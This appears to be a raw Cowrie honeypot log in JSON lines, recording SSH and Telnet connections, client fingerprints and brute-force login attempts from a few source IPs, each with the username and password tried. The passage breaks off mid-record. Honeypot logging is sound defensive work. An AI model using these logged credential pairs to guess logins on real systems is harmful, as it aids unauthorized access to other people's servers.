{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.764843Z","src_ip":"186.30.115.187","session":"ac37cf72d7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.815383Z","src_ip":"45.156.87.254","session":"b1ffc595097c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.867635Z","src_ip":"186.30.115.187","session":"ac37cf72d7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:54.873829Z","src_ip":"186.30.115.187","session":"6d0f053e534c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":55326,"dst_ip":"10.17.0.5","dst_port":22,"session":"45433ac51a0c","protocol":"ssh","message":"New connection: 185.16.214.226:55326 (10.17.0.5:22) [session: 45433ac51a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:56.382959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:56.386883Z","src_ip":"185.16.214.226","session":"45433ac51a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:56.515812Z","src_ip":"185.16.214.226","session":"45433ac51a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:57.064566Z","src_ip":"185.16.214.226","session":"45433ac51a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"f064deafb1ed","protocol":"ssh","message":"New connection: 45.156.87.254:43786 (159.203.135.109:22) [session: f064deafb1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:58.107320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:58.155435Z","src_ip":"45.156.87.254","session":"f064deafb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:58.196967Z","src_ip":"185.16.214.226","session":"45433ac51a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:58.239258Z","src_ip":"45.156.87.254","session":"f064deafb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:58.557704Z","src_ip":"45.156.87.254","session":"f064deafb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:59.650004Z","src_ip":"45.156.87.254","session":"f064deafb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47822,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7087c7da83f","protocol":"ssh","message":"New connection: 45.156.87.254:47822 (159.203.135.109:22) [session: a7087c7da83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:03.156349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:03.321911Z","src_ip":"45.156.87.254","session":"a7087c7da83f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:03.329008Z","src_ip":"45.156.87.254","session":"a7087c7da83f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:03.818329Z","src_ip":"45.156.87.254","session":"a7087c7da83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:04.909992Z","src_ip":"45.156.87.254","session":"a7087c7da83f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36046,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c80b994628d","protocol":"telnet","message":"New connection: 104.245.105.2:36046 (10.17.0.5:23) [session: 6c80b994628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:06.610621Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40448,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbad1847341","protocol":"ssh","message":"New connection: 45.156.87.254:40448 (159.203.135.109:22) [session: 0dbad1847341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:09.455349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:09.460500Z","src_ip":"45.156.87.254","session":"0dbad1847341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:09.560003Z","src_ip":"45.156.87.254","session":"0dbad1847341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:09.820187Z","src_ip":"45.156.87.254","session":"0dbad1847341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:10.909419Z","src_ip":"45.156.87.254","session":"0dbad1847341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96d6ae6a54b","protocol":"telnet","message":"New connection: 20.123.41.163:50478 (10.17.0.5:23) [session: b96d6ae6a54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:12.748054Z"}
{"eventid":"cowrie.session.closed","duration":36.40628957748413,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:12.798666Z","src_ip":"104.245.105.2","session":"77b90af2d1b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40456,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8df1eb2e9c2","protocol":"ssh","message":"New connection: 45.156.87.254:40456 (159.203.135.109:22) [session: e8df1eb2e9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:15.245480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:15.250364Z","src_ip":"45.156.87.254","session":"e8df1eb2e9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:15.337132Z","src_ip":"45.156.87.254","session":"e8df1eb2e9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:15.775010Z","src_ip":"45.156.87.254","session":"e8df1eb2e9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:16.864784Z","src_ip":"45.156.87.254","session":"e8df1eb2e9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc75db92d28f","protocol":"ssh","message":"New connection: 45.156.87.254:46986 (159.203.135.109:22) [session: bc75db92d28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:20.315566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:20.325357Z","src_ip":"45.156.87.254","session":"bc75db92d28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:20.407908Z","src_ip":"45.156.87.254","session":"bc75db92d28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:20.739379Z","src_ip":"45.156.87.254","session":"bc75db92d28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:21.851646Z","src_ip":"45.156.87.254","session":"bc75db92d28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57792,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6d6f73da355","protocol":"telnet","message":"New connection: 20.123.41.163:57792 (10.17.0.5:23) [session: d6d6f73da355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:22.882403Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46992,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ab3c7b51fa","protocol":"ssh","message":"New connection: 45.156.87.254:46992 (159.203.135.109:22) [session: a0ab3c7b51fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:25.264490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:25.446827Z","src_ip":"45.156.87.254","session":"a0ab3c7b51fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:25.452335Z","src_ip":"45.156.87.254","session":"a0ab3c7b51fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:25.995758Z","src_ip":"45.156.87.254","session":"a0ab3c7b51fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:27.096833Z","src_ip":"45.156.87.254","session":"a0ab3c7b51fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b37fe8cfdb05","protocol":"ssh","message":"New connection: 45.156.87.254:54464 (159.203.135.109:22) [session: b37fe8cfdb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:30.677519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:30.683803Z","src_ip":"45.156.87.254","session":"b37fe8cfdb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 